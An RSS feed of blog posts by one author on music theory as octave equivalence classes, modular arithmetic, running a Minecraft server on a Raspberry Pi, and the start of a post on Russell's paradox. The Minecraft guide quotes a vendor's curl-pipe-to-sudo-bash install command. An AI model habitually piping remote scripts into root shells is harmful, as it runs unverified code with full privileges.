<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nadzeya Hutsko on Medium]]></title>
        <description><![CDATA[Stories by Nadzeya Hutsko on Medium]]></description>
        <link>https://medium.com/@nadzeya?source=rss-1660400ac68c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*M0J0UidY0hmynMiQQndFOA@2x.jpeg</url>
            <title>Stories by Nadzeya Hutsko on Medium</title>
            <link>https://medium.com/@nadzeya?source=rss-1660400ac68c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 18:48:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nadzeya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Music Notes as Equivalence Classes]]></title>
            <link>https://medium.com/@nadzeya/music-notes-as-equivalence-classes-252dcf2aa499?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/252dcf2aa499</guid>
            <category><![CDATA[physics]]></category>
            <category><![CDATA[music]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[math]]></category>
            <category><![CDATA[education]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Sat, 21 Mar 2026 22:30:48 GMT</pubDate>
            <atom:updated>2026-03-30T12:07:07.942Z</atom:updated>
            <content:encoded><![CDATA[<p>If you know me, you know that music theory is as exciting to me as learning maths. But I also know that a lot of my friends who do not play an instrument find music theory painfully boring, which makes me really sad, because music itself can carry as much meaning as a song lyric, and sometimes even more</p><p>So I want to explain one small but beautiful idea from music theory in a way that feels more like math, which is that some musical objects are best understood as equivalence classes. That sounds abstract, but it is actually one of the most natural things our ears do.</p><p>Let us start with the simplest possible model of a sound, a steady sinusoidal tone. Such a tone has two obvious physical parameters:</p><ul><li><strong>frequency</strong>, which largely determines how high or low it sounds</li><li><strong>amplitude</strong>, which largely determines how loud or soft it sounds</li></ul><p>That is the picture in its most stripped-down physics form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*xSUdbJuC38hmj8ETIkvJhg.png" /></figure><p>Of course, real musical sounds are richer than that. A played piano note is not just “a frequency”, it also has a beginning, an end, overtones, and a particular timbre. And in written music, a note is also a symbol that encodes duration, pitch, and context. However, if we only care about pitch for a moment, frequency is the right place to begin.</p><p>At first glance, it is tempting to think that each frequency should correspond to a completely different musical object. After all, 220 Hz and 221 Hz are physically different, but that is not how our ears organise the world. Human hearing treats some frequencies as deeply related, especially frequencies that differ by a factor of 2. If you play a tone at frequency <em>f</em>, then <em>2f</em>, <em>4f</em>, and <em>f</em>/2 all sound strangely like being of the same kind of note, just higher or lower. This is the idea of the <strong>octave</strong>.</p><h4>Octaves as an Equivalence Relation</h4><p>Mathematically, we can make this precise. Consider the set of positive frequencies. Define a relation ∼ by</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*V7l6yzCAVHhwWNmZlsQsrg.png" /></figure><p>This means that two frequencies are equivalent if one is obtained from the other by doubling or halving some number of times.</p><p>This is an equivalence relation:</p><ul><li><strong>reflexive</strong>: <em>f</em> = 2⁰<em>f</em>, so <em>f </em>∼<em> f</em></li><li><strong>symmetric</strong>: if <em>g</em> = 2<em>ⁿ</em> <em>f</em>, then <em>f</em> = 2^(-<em>n</em>) <em>g</em>,</li><li><strong>transitive</strong>: if <em>g</em> = 2<em>ⁿf</em> and <em>h</em> = 2<em>ᵐg</em>, then <em>h</em> = 2<em>^(n+m) f</em></li></ul><p>So every frequency belongs to an equivalence class</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*4c8mxxLj2q2tVAwwA6hx5w.png" /></figure><p>This is exactly what an octave-equivalence class is. For example, 440 Hz is the specific pitch usually called A4 in modern standard tuning. Its equivalence class is</p><blockquote><em>[440] = {…, 110, 220, 440, 880, 1760, …}</em></blockquote><p>In Western note naming, that corresponds to the named pitch class A spread across different octaves:</p><blockquote><em>{…, A2, A3, A4, A5, A6,… }</em></blockquote><p>Physically, these are different vibration rates. Musically, they are heard as closely related versions of the “same thing.” And this is the first abstraction, which is that music does not treat pitch as raw frequency. It identifies frequencies that differ by octave. Said more carefully, this produces a continuous pitch-class space, the set of octave-equivalence classes of frequencies.</p><p>At this point, it may sound like we are imposing a neat mathematical rule on top of sound just because it feels elegant. However, octave equivalence is not a random convention, it has a real physical and perceptual basis.</p><p>When a string vibrates at a frequency <em>f</em>, it usually also produces overtones at frequencies 2<em>f</em>,<em> </em>3<em>f</em>,<em> </em>4<em>f</em>, 5<em>f</em>, and so on. This is the harmonic series. Notice that 2<em>f</em> is already built into the sound itself. The octave appears inside the spectrum of a single tone.</p><p>There is also a strong overlap between the harmonic content of <em>f</em> and 2<em>f</em>. In fact, the harmonics of 2<em>f</em> are a subset of the even harmonics of <em>f</em>. This contributes to why the two tones feel so closely connected. Our auditory system hears them as similar in a way that, say, <em>f</em> and 1.37<em>f</em> are not.</p><p>So the octave is not “arbitrary like the meter or the kilogram.” It is more like a natural symmetry that human hearing strongly recognises.</p><p>A quick note: different musical cultures organise pitch differently. In this article, I focus specifically on Western music.</p><h4>Pitch-Class Space: log₂(f/f₀) mod 1</h4><p>If multiplying by 2 should count as “the same” in some musical sense, then ordinary frequency is not the best coordinate system. We want a coordinate where doubling becomes a simple shift.</p><p>That coordinate is the base-2 logarithm. Let</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/205/1*9vLHKrStj1WvJzaX8OyOlw.png" /></figure><p>Then multiplying the frequency by 2 gives</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*lqfA9my3qPU0sAxs2fiZmA.png" /></figure><p>So octave equivalence becomes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*n1V1kEFiu9dGRcQC9fwMcQ.png" /></figure><p>That means pitch classes live not on the real line, but on the quotient space ℝ/ℤ, which you can think of as a circle. After choosing a reference frequency <em>f</em>₀, pitch class can be represented by</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*yCmlTLQpE1cvSL02A9JirA.png" /></figure><p>Let’s consider the example with <em>f</em>₀ = 440 Hz:</p><ul><li><em>f</em> = 440:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*GujSU8WU001YD57Kjt2HVw.png" /></figure><ul><li><em>f</em> = 880:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*qyTa7lOCS7N4Xt3CFElGWQ.png" /></figure><ul><li><em>f</em> = 220:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*VLTStvJoZ0eQ53TuYW68Aw.png" /></figure><p>These are all equal modulo 1, so they land at the same point in pitch-class space. This reflects the fact that they belong to the same pitch class in different octaves. For contrast, let’s take<em> f</em> = 660 Hz, which is 3/2 * 440. Then:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*ZoDY6JYONCNSoTXpfu7lNw.png" /></figure><p>So modulo 1 gives approximately 0.585, not 0. This shows that modulo 1 identifies only frequencies that differ by whole octaves.</p><p>This logarithmic description also explains why it is more natural than raw frequency for talking about pitch. In ordinary frequency, going from 220 Hz to 440 Hz is a jump of 220, while going from 440 Hz to 880 Hz is a jump of 440. Structurally, those look different. Musically, however, both are the same operation: up one octave. In logarithmic coordinates, both are represented by adding 1. In that sense, the geometry matches the way we hear pitch.</p><h4>From Infinitely Many Pitch Classes to Named Notes</h4><p>So far, we have only explained why frequencies related by powers of 2 are treated as equivalent. This gives a continuous pitch-class space, but it still leaves infinitely many possible classes. In principle, nothing stops us from choosing any point we like.</p><p>Western music does something more. It does not use all possible points in this continuous pitch-class space, but selects a finite set of standard pitch classes within each octave.</p><p>At first, this may sound strange. Many people learn that music has seven notes:</p><blockquote>A, B, C, D, E, F, G</blockquote><p>But this is only part of the story. Western notation also includes sharps and flats, such as C♯, F♯, or B♭. Once these are included, the standard 12-tone system contains 12 named pitch classes per octave, not 7. These 12 are usually written as</p><blockquote>A, A♯/B♭, B, C, C♯/D♭, D, D♯/E♭, E, F, F♯/G♭, G, G♯/A♭</blockquote><p>On a piano keyboard, these pitch classes are represented like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*HVMa42pDlfEl8XcL.png" /><figcaption>Source: <a href="https://www.key-notes.com/blog/piano-key-chart">https://www.key-notes.com/blog/piano-key-chart</a></figcaption></figure><p>If we now fix a tuning system, these note names can be assigned concrete frequencies. In modern Western music, the usual reference is A4 = 440 Hz, and in 12-tone equal temperament each semitone changes the frequency by a factor of 2¹ᐟ¹². So the frequencies of the named notes are not arbitrary. Once one reference pitch is fixed, all the others can be computed from it.</p><p>For example, the note one semitone above A4, which is A♯ (or B♭), has frequency 440 * 2¹ᐟ¹² Hz, while the note one semitone below, which is A♭ (or G♯), has frequency 440 * 2^(-1/12) Hz.</p><p>So after the first abstraction, where music stops treating every frequency as a separate object, there is a second abstraction, which is that Western music discretises pitch even further, choosing 12 standard representatives inside each octave.</p><p>This brings us to the obvious question: why these specific 12?</p><h4>Why Western Music Picks 12 Notes</h4><p>Once we identify notes that differ by octaves, we still have infinitely many possible pitch classes. So the next question is: which intervals should a practical musical system preserve as well as possible?</p><p>After the octave, one of the most important intervals is the perfect fifth, for example, C to G, or A to E. It is especially prominent because its ratio 3:2 is very simple, it sounds highly consonant, and chains of fifths play a central role in constructing Western scales and harmony.</p><p>This suggests a natural design problem: can we divide the octave into a manageable number of equal steps so that one of those steps lands close to a perfect fifth? We can formulate this question in mathematical terms, meaning we need to find integers <em>m</em> and <em>n</em> such that going up by <em>m</em> perfect fifths lands us as close as possible to going up by <em>n</em> octaves:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*owcWjB8RVzY58rKxWJYMYg.png" /></figure><p>However, this <strong>never</strong> happens precisely. Powers of 3/2 do not line up perfectly with powers of 2. One especially good approximation, with relatively small integers, is <em>m</em> = 12 and <em>n</em> = 7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*NcdWh6gSrTY6c89QNs29Sg.png" /></figure><p>It means that if we divide the octave into 12 equal logarithmic steps, then 7 of those steps have a ratio of 2^(7/12), which is extremely close to 3/2 = 1.5. Equivalently, going up by 12 perfect fifths comes very close to going up by 7 octaves.</p><p>So the number <strong>12</strong> appears so naturally in Western music because it gives a very good compromise, which is that the octave is exact, and the important interval of the fifth is approximated extremely well.</p><p>The number <strong>7</strong> comes from a different choice. Western music usually does not treat all 12 pitch classes equally all the time. Instead, it often organises melodies and harmony around a seven-note diatonic subset. These are the natural notes</p><blockquote>A, B, C, D, E, F, G</blockquote><p>These can be viewed as arising from a chain of perfect fifths, folded back into a single octave.</p><p>So 12 and 7 answer different questions. The number 12 gives the full set of pitch classes in the octave, while the number 7 gives the diatonic framework that much of Western music is built on.</p><p>Modern Western music typically uses <strong>12-tone equal temperament</strong>, where the octave is divided into 12 equal logarithmic steps, each with a ratio of 2¹ᐟ¹². So moving up by 12 such steps gives exactly one octave.</p><p>This number is not forced by nature in any absolute sense. Rather, it is chosen because it provides a remarkably good balance. It is small enough to be manageable, yet rich enough to approximate musically important intervals very well.</p><h4>Final Thought</h4><p>The thing I love here is that music theory does something mathematicians do all the time. It decides which differences matter and which ones do not.</p><p>I hope this article has shown that even something as familiar as a musical note hides a surprisingly mathematical idea behind it. What sounds simple to the ear often turns out to be, underneath, an elegant act of mathematical organisation.</p><h4>References</h4><p>[1] Burk, P. <em>Music and Computers: A Theoretical and Historical Approach</em> (2011)</p><p>[2] Gotham, M. <em>Open Music Theory</em>, Version 2 (2023)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=252dcf2aa499" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Beauty of Abstract Algebra: The Integers Modulo n]]></title>
            <link>https://medium.com/@nadzeya/exploring-the-beauty-of-abstract-algebra-the-integers-modulo-n-ea8fd88725e8?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea8fd88725e8</guid>
            <category><![CDATA[engineering]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[mathematics]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[science]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Sun, 29 Dec 2024 20:34:58 GMT</pubDate>
            <atom:updated>2025-01-04T08:29:58.552Z</atom:updated>
            <content:encoded><![CDATA[<p>I hope there will never be a day when I stop adoring math. Today, I want to share a concept that’s both simple and profound — a little mathematical lens that will help you see numbers from a whole new perspective.</p><p>Let’s start with something familiar: division. You know that when you divide integers, there’s always a remainder (zero or a positive integer). Now, imagine fixing a divisor <em>n </em><strong><em>∈ </em></strong>ℤ. This creates a set of possible remainders: {0, 1, 2, …, <em>n − 1</em>}. And this simple observation leads us to one of the most elegant ideas in mathematics: <em>congruence relations</em>.</p><blockquote><strong><em>Definition:</em></strong><em> We say </em>a<em> ≡ </em>b<em> (mod </em>n<em>) (read: “</em>a<em> is congruent to </em>b<em> modulo </em>n<em>”) if and only if </em>b − a<em> is divisible by </em>n<em> (that is, </em>n <em>∣ (</em>b − a<em>)).</em></blockquote><p>This congruence relation divides all integers into distinct “groups” where numbers behave the same way under division by <em>n</em>. For instance, if <em>n = 3</em>, the integers fall into three “groups” based on their remainders:</p><ul><li>{…, -6, -3, 0, 3, …} (remainder 0)</li><li>{…, -5, -2, 1, 4, …} (remainder 1)</li><li>{…, -4, -1, 2, 5, …} (remainder 2)</li></ul><p>In each “group”, dividing any number by <em>n = 3</em> gives the same remainder. We call these “groups” <em>equivalence classes</em>, and they satisfy three key properties for any integer <em>n &gt; 0</em>:</p><ol><li><strong>Reflexivity:</strong> <em>a</em> ≡ <em>a</em> (mod <em>n</em>), since <em>a − a = 0</em>, which is divisible by n.</li><li><strong>Symmetry:</strong> If <em>a</em> ≡ <em>b</em> (mod <em>n</em>), then <em>b</em> ≡ <em>a</em> (mod <em>n</em>). Subtracting remainders doesn’t depend on the order.</li><li><strong>Transitivity:</strong> If <em>a</em> ≡ <em>b</em> (mod <em>n</em>) and <em>b</em> ≡ <em>c</em> (mod <em>n</em>), then <em>a</em> ≡ <em>c</em> (mod <em>n</em>). This follows because <em>n</em> divides both <em>b − a</em> and <em>c − b</em>, so it must divide their sum (<em>b − a</em>) + (<em>c − b</em>) = <em>c − a</em>.</li></ol><blockquote><em>We represent this type of equivalence classes, called as a </em>congruence class<em>, by [</em>a<em>] = {</em>a<em> + </em>kn <em>∣</em> k <em>∈ </em>ℤ<em>}, in some literature denoted as </em>ā<em>.</em></blockquote><h3>What’s the Point?</h3><p>Here’s the magic: for a fixed integer <em>n &gt; 0</em>, we can study the <strong>infinite</strong> set of integers ℤ by focusing on a <strong>finite</strong> set of congruence classes. For <em>n = 3</em>, these classes are:</p><ul><li>[0] = {…, -6, -3, 0, 3, …}</li><li>[1] = {…, -5, -2, 1, 4, …}</li><li>[2] = {…, -4, -1, 2, 5, …}</li></ul><p>These classes form a complete partition of <em>ℤ</em>: every integer belongs to exactly one congruence class. Instead of grappling with infinitely many integers, we work with the finite set ℤ/<em>n</em>ℤ = {[0], [1], …, [<em>n</em> − 1]}, called the <em>integers modulo n</em>.</p><p>This is where things get fascinating! While the integers <em>ℤ</em> are infinite, ℤ/<em>n</em>ℤ is finite, containing exactly <em>n</em> elements. Yet, each class represents an infinite set of integers! It’s a beautiful duality: infinite yet finite.</p><h3>Modular Arithmetic and Groups</h3><p>The set ℤ/<em>n</em>ℤ is more than just a collection of remainders — it has its own arithmetic. We can define <strong>addition</strong> and <strong>multiplication</strong> for congruence classes:</p><ul><li><strong>Addition:</strong> [<em>a</em>] + [<em>b</em>] = [<em>a</em> + <em>b</em>] (mod <em>n</em>)</li><li><strong>Multiplication:</strong> [<em>a</em>] ⋅ [<em>b</em>] = [<em>a</em> ⋅ <em>b</em>] (mod <em>n</em>)</li></ul><p>For example, if <em>n = 9</em>, the congruence classes are {[0], [1], [2], …, [8]}. Let’s compute with [<em>a</em>] = [5] and [<em>b</em>] = [7]:</p><ul><li>[<em>a</em>] + [<em>b</em>] = [5] + [7] = [12] = [3] (mod 9), since 12 and 3 lie in the same class modulo <em>n</em> = 9</li><li>[<em>a</em>] ⋅ [<em>b</em>] = [5] ⋅ [7] = [35] = [8] (mod 9) because 35 ≡ 11 (mod 9)</li></ul><p>In modular arithmetic, numbers “wrap around” when they reach <em>n</em>, giving a natural periodicity to calculations.</p><p>Here’s the cherry on top: ℤ/<em>n</em>ℤ forms an <strong>abelian</strong> <strong>group</strong> under addition. Let’s summarise why:</p><ol><li><strong>Closure:</strong> Adding two classes [<em>a</em>] and [<em>b</em>] always yields another class [<em>a</em> + <em>b</em>] (mod <em>n</em>), so the operation stays within ℤ/<em>n</em>ℤ.</li><li><strong>Associativity:</strong> The addition of congruence classes is associative because integer addition is associative. That is, ([<em>a</em>] + [<em>b</em>]) + [<em>c</em>] = [<em>a</em>] + ([<em>b</em>] + [<em>c</em>]).</li><li><strong>Identity:</strong> The identity element in this group is [0] because adding [0] to any class leaves it unchanged: [<em>a</em>] + [0] = [0] + [<em>a</em>] = [<em>a</em>]</li><li><strong>Inverses:</strong> Every congruence class [<em>a</em>] has an additive inverse [<em>−a</em>], which satisfies [<em>a</em>] + [−<em>a</em>] = [−<em>a</em>] + [<em>a</em>] = 0. (In modular terms, [−<em>a</em>] = [<em>n − a</em>] when <em>a &gt; 0</em>.)</li><li><strong>Commutativity:</strong> Here’s where the abelian nature comes in. Addition is commutative, meaning [<em>a</em>] + [<em>b</em>] = [<em>b</em>] + [<em>a</em>]. This property is inherited from the commutativity of integer addition.</li></ol><p>ℤ/<em>n</em>ℤ is far more than a set of remainders; it is a gateway to understanding periodicity, structure, and abstraction. I find it truly fascinating how something as simple as an arithmetic operation can lead to such powerful insights — and this is the beauty of mathematics!</p><h3>References</h3><p>[1] D.S. Dummit, R.M. Foote (2004). <em>Abstract Algebra</em></p><p>[2] J.S. Milne (2017). <em>Group Theory</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea8fd88725e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Set Up and Run a Minecraft Server on Raspberry Pi: A Complete Guide]]></title>
            <link>https://medium.com/@nadzeya/how-to-set-up-and-run-a-minecraft-server-on-raspberry-pi-a-complete-guide-f4c4e3e4ccfe?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4c4e3e4ccfe</guid>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[engineering]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[gaming]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Sun, 21 Jul 2024 19:09:54 GMT</pubDate>
            <atom:updated>2025-01-21T17:38:24.361Z</atom:updated>
            <content:encoded><![CDATA[<h3>Running a Minecraft Server on Raspberry Pi: A Complete Guide</h3><p>Many of us enjoy playing games, and I believe if you’re reading this article, you probably love playing Minecraft (maybe even with your friends!). In this article, I’ll cover the following topics so you can play Minecraft with your friends anytime without needing someone’s PC to be always on:</p><ol><li>Installing a Minecraft dedicated server on a Raspberry Pi (I use a Pi 5, but Pi 4 will also do) and adding mods.</li><li>How to daemonise the Minecraft service (i.e. run it in the background with systemd).</li><li>(Bonus) Configuring remote access to the server for free without needing a static public IP or public VPN server.</li></ol><p>Before getting started, you’ll need the following:</p><ul><li>A Raspberry Pi board, preferably with 8 GB of RAM, especially if you plan to install many mods.</li><li>An SD card (or any other storage you’re using) with a Debian-like OS installed. This should be inserted into your Raspberry Pi.</li></ul><h3>Minecraft Server Installation</h3><p>Since we’re installing Minecraft Java edition, let’s first make sure that you have Java 17 installed on your Raspberry Pi:</p><pre>$ sudo apt install openjdk-17-jdk-headless<br>$ java --version<br>openjdk 17.0.10<br>OpenJDK Runtime Environment (build 17.0.10+7-Debian-1deb12u1)<br>OpenJDK 64-Bit Server VM (build 17.0.10+7-Debian-1deb12u1, mixed mode)</pre><p>Next, go to <a href="https://files.minecraftforge.net/">https://files.minecraftforge.net/</a> and choose the Forge version you want to install (I’m using the 1.19.2, recommended). Download the installer, which should be a JAR file named something like forge-1.19.2-43.4.0-installer.jar.</p><p>Here’s the challenge: this installer has a GUI and requires a monitor. You have several options:</p><ul><li>Install everything on your PC and then copy the directory to your Raspberry Pi.</li><li>Copy the JAR file to your Raspberry Pi, connect it to a monitor, and run the installer directly.</li><li>Use SSH X-Forwarding if you use X-org on your PC, allowing you to run everything on your Raspberry Pi while viewing the graphical output on your computer monitor. This is the most advanced option; if interested, you can read more here: <a href="https://medium.com/@nadzeya/ssh-x-forwarding-or-how-to-open-desktop-applications-on-linux-server-c198b00a6a55">SSH X-Forwarding</a>.</li></ul><p>Let’s go with the easiest option, the first one. Install Java 17 on your PC, navigate to the directory with the Forge JAR file, and run:</p><pre>java -jar forge-installer.jar  # adjust the file name</pre><p>You should see the installer window. Choose the “Install server” option, and then select the folder where you want to install it (~/Downloads/.minecraft in my case). After clicking OK, the installation will proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ReENjCdUZOeLFtq9PUwfkg.png" /></figure><p>Wait until it finishes the installation, and close the window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*voJLAH1B5yyDKWsD0WmvMw.png" /></figure><p>Once done, you should see files and folders in the destination directory:</p><pre>$ ls ~/Downloads/.minecraft<br>libraries/  run.bat  run.sh*  user_jvm_args.txt</pre><p>Copy these files to your Raspberry Pi, using version numbers in the directory name to avoid confusion if you install another Minecraft version later:</p><pre>scp -r ~/Downloads/.minecraft/ &lt;rpi_username&gt;@&lt;rpi_ip&gt;:~/1-19-2</pre><p>Now, SSH into your Raspberry Pi and create a dedicated user for all Minecraft-related activities. This allows you to keep your default user for other tasks and disable SSH and sudo for the Minecraft user if needed:</p><pre>ssh &lt;rpi_username&gt;@&lt;rpi_ip&gt;<br>sudo adduser minecraft</pre><p>Move the folder to the minecraft user’s home directory:</p><pre>sudo mv 1-19-2/ /home/minecraft/<br>sudo chown -R /home/minecraft/1-19-2</pre><p>Switch to the minecraft user and run the server:</p><pre>sudo -su minecraft<br>cd ~/1-19-2/<br>./run.sh</pre><p>You’ll likely encounter an EULA agreement error:</p><pre>[main/WARN] [minecraft/Eula]: Failed to load eula.txt<br>[main/INFO] [minecraft/Main]: You need to agree to the EULA in order to run the server. Go to eula.txt for more info.</pre><p>Edit the eula.txt file to change false to true:</p><pre>$ sed -i &quot;s/false/true/g&quot; eula.txt <br>$ cat eula.txt <br>#By changing the setting below to TRUE you are indicating your agreement to our EULA (&lt;https://aka.ms/MinecraftEULA&gt;).<br>#[timestamp]<br>eula=true</pre><p>Then run the server again and finally enjoy! The sections below contain useful information, but they aren’t necessary to start playing initially.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rw_dIsIOmH8tAN9VpzOVHA.png" /></figure><h3>How to install mods</h3><p>This is actually a very simple thing!</p><ol><li>Go to <a href="https://www.curseforge.com/">CurseForge</a>.</li><li>Find a that you want to install (e.g. <a href="https://www.curseforge.com/minecraft/mc-mods/quark">Quark</a>)</li><li>Download the mod as a JAR file for your Minecraft version</li><li>Copy the file under the mods/ directory:</li></ol><pre>  scp /path/to/mod.jar &lt;rpi_ssh_user&gt;@&lt;rpi_ip&gt;:~/<br>ssh &lt;rpi_ssh_user&gt;@&lt;rpi_ip&gt;<br>sudo cp ./mod.jar /home/minecraft/1-19-2/mods/<br>sudo chown -R minecraft:minecraft /home/minecraft/1-19-2/mods/</pre><p>5. Install the mod on your Minecraft client</p><p>6. Restart the Minecraft server</p><h3>Running Minecraft as a Service in the Background</h3><p>This section describes how to “daemonise” your Minecraft service, making it run in the background with systemd.</p><p>Since we use the run.sh script to run the service, we need a tool to handle the output of the command in the background. For this, use the screen utility:</p><pre>sudo apt install screen</pre><p>Create the /etc/systemd/system/minecraft.service file and add the following content, adjusting for your configuration:</p><pre>[Unit]<br>Description=Minecraft Server<br>After=network.target<br><br>[Service]<br>Type=simple<br>User=minecraft<br>WorkingDirectory=/home/minecraft/1-19-2/<br>ExecStart=/usr/bin/screen -DmS mc-server ./run.sh<br>ExecStop=/usr/bin/screen -p 0 -S mc-server -X eval &#39;stuff &quot;say SERVER SHUTTING DOWN IN 10 SECONDS...&quot;\\\\015&#39;<br>ExecStop=/bin/sleep 10<br>ExecStop=/usr/bin/screen -p 0 -S mc-server -X eval &#39;stuff &quot;stop&quot;\\\\015&#39;<br><br>[Install]<br>WantedBy=multi-user.target</pre><p>Run the service to ensure everything works, then enable it to start on system startup:</p><pre>sudo systemctl daemon-reload<br>sudo systemctl start minecraft  # start the server<br>sudo systemctl status minecraft  # check its status<br>sudo systemctl enable minecraft  # enable running on system startup</pre><p>To connect to the Minecraft shell that the run.sh script provides, connect to the screen session:</p><pre>sudo -su minecraft<br>screen -r mc-server</pre><p>To exit the session while keeping it running in the background, press Ctrl-A Ctrl-D. Don’t press Ctrl-D, as it will stop the server.</p><p><strong>NOTE:</strong> If you want to install mods while the server is running, shut down the Minecraft server first, install the mods, and then run it again.</p><h3>Configure Remote Access to The Server</h3><p>Now that your server is running, how can you allow your friends to connect if you don’t have your own VPN server or a static public IP address?</p><blockquote><strong>DISCLAIMER</strong>: This is not an ad. I’m just sharing the tool I use. Feel free to use any software you like, or skip this step if you prefer another method.</blockquote><p>To solve this issue, I use <a href="https://www.zerotier.com/download/">ZeroTier</a>. It’s free for personal use; just create an account and a network.</p><p>After that install the ZeroTier client on your Raspberry Pi and ask your friends to do the same on their PCs. Here’s how to install it on the Raspberry Pi:</p><p>SSH into your Raspberry Pi and run the following commands, as described in the documentation:</p><blockquote><em>If you’re willing to rely on SSL to authenticate the site, a one line install can be done with:</em></blockquote><pre>curl -s &lt;https://install.zerotier.com&gt; | sudo bash</pre><blockquote><em>If you have GPG installed, a more secure option is available:</em></blockquote><pre>curl -s &#39;&lt;https://raw.githubusercontent.com/zerotier/ZeroTierOne/main/doc/contact%40zerotier.com.gpg&gt;&#39; | gpg --import &amp;&amp; \\<br>if z=$(curl -s &#39;&lt;https://install.zerotier.com/&gt;&#39; | gpg); then echo &quot;$z&quot; | sudo bash; fi</pre><p>Join the network you created on the ZeroTier web page from your Raspberry Pi instance:</p><pre>sudo zerotier-cli join &lt;YOUR_NETWORK_ID&gt;</pre><p>Go to the ZeroTier web page, open your network details, and approve the Raspberry Pi client. You’ll also need to approve every PC that tries to join your network. Optionally, you can make your network public, so you can skip this step, but anyone with the network ID will be able to connect, not just your friends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tq8LCFVNzfW4oxbDFQteJA.png" /></figure><p>To optionally disable SSH access on the ZeroTier IP, run:</p><pre>sudo apt install iptables<br>sudo iptables -A INPUT -p tcp --dport 22 -i &lt;zerotier_interface&gt; -j REJECT<br>sudo iptables-save</pre><p>Whew, that was quite a lengthy article, but I hope you found it helpful. I personally use all the methods described and find them super convenient. I hope my experience helps you. See you in future articles!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4c4e3e4ccfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Mathematicians Questioned The Possibility of Making Choices]]></title>
            <link>https://medium.com/@nadzeya/how-mathematicians-questioned-the-possibility-of-making-choices-82db71ccb3a9?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/82db71ccb3a9</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[math]]></category>
            <category><![CDATA[science]]></category>
            <category><![CDATA[mathematics]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Wed, 21 Feb 2024 18:26:09 GMT</pubDate>
            <atom:updated>2024-02-22T08:21:16.791Z</atom:updated>
            <content:encoded><![CDATA[<p>Thinking about different aspects of maths, even the basic ones we’ve faced in our lives, you might notice that there is a concept that probably was not well defined in school, but we use almost all the time — a set. We use sets of numbers, sets of points, and even simple things like books, groceries, students in a class can be describes with sets. Set theory is like the language of mathematics, providing a basic framework that helps us talk about numbers, shapes, and more in a structured way. This concept was investigated and explained first by George Cantor in the late 1800s.</p><p>One of the fundamental principles in Cantor’s work was the <strong>Comprehension Principle</strong>. It asserts that, from any condition on objects, we can build a set whose members exactly satisfy it. Formally, it can be written as the following:</p><blockquote><em>Given any specific property </em>φ<em>(</em>x<em>) concerning a variable </em>x<em>, the collection <br>{</em>x <em>: </em>φ<em>(</em>x<em>)} is a set, where this is the set of all objects </em>x<em> that satisfy the property </em>φ<em>(</em>x<em>).</em></blockquote><p>For example, let <em>φ</em> be a property of a number to be divisible by 2. So, this principle implies that integers {0, 2, 4, 6, …} form a set. This principle also allows us to form an intersection or a union of two sets and define a subset and a power set (a set whose elements are all the subsets of a given set). However, this principle brings us to the problem, also known as <strong>Russell’s Paradox:</strong></p><blockquote><em>Consider the property “</em>x<em> ∉ </em>x<em>”, and according to the Comprehension Principle, there must be a set </em>R<em> = {</em>x <em>: </em>x<em> ∉ 